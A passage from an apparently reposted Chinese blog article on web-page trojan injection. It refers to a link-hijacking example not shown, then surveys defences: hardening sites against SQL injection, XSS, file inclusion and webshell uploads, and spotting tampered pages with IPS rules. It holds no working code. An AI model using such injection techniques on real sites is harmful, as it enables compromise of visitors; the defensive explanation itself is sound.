这段代码执行后,页面上会显示出正常的门户网站的链接信息,浏览者不会怀疑。但是当鼠标移动到链接上后,却打开了网页木马的页面。

以上是常见的网页挂马类型,实际的挂马会根据编程语言以及具体网站环境的变化而有所不同。

挂马防御手段

网页木马之所以能够攻击成功,是因为网站自身存在漏洞导致网页被篡改、浏览器或操作系统存在漏洞、网页木马的下载执行和恶意程序的下载执行等几方面因素共同造成的结果,这也是网页挂马防御的着眼点。从本质上看,这些因素实际上都是网络行为,都是在网络上传递的数据,因此,要想防御网页挂马,就要切断这些恶意数据的传播。

我们可以采取一些主动的措施(如在网络中增加 IPS 设备)来防止网页被挂马,并利用技术手段(设定开启适当的 IPS 规则)识别被挂马的网页。

1、 拦截对网站的攻击

如果网站不被攻击利用,那么挂马就无从谈起。加强网站自身的安全性是防止网页被挂马的基本前提。常见的网站漏洞包括 SQL 注入、跨站脚本、文件包含、目录穿越等,这些漏洞往往是代码级的,与网站本身关系很大,其中 SQL 注入是最常见的攻击方式。此外还有一些权限设置等网站管理方面的问题也可能给攻击者制造机会,例如对上传文件过滤不严可能会使得攻击者上传 Webshell 进而篡改网页。

2、识别被挂马的网页

如果网站已经受到攻击,网页被篡改,此时需要识别出被挂马的网页,并提示用户可能存在的风险。网页挂马的类型有很多,研究中发现前文所列举的都是最常见的方式。如果网页中存在类似这些挂马类型的代码,则网页被挂马的可能性就比较大。但在某些网页中也有一些正常功能的实现和网页挂马方式有类似甚至相同的地方,因此这种防御方式存在一定的误报。

关于更多网页挂马的实现方式,可以参考博文:网页挂马的实现方式与防御手段


转载:https://blog.csdn.net/weixin_39190897/article/details/114196050
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场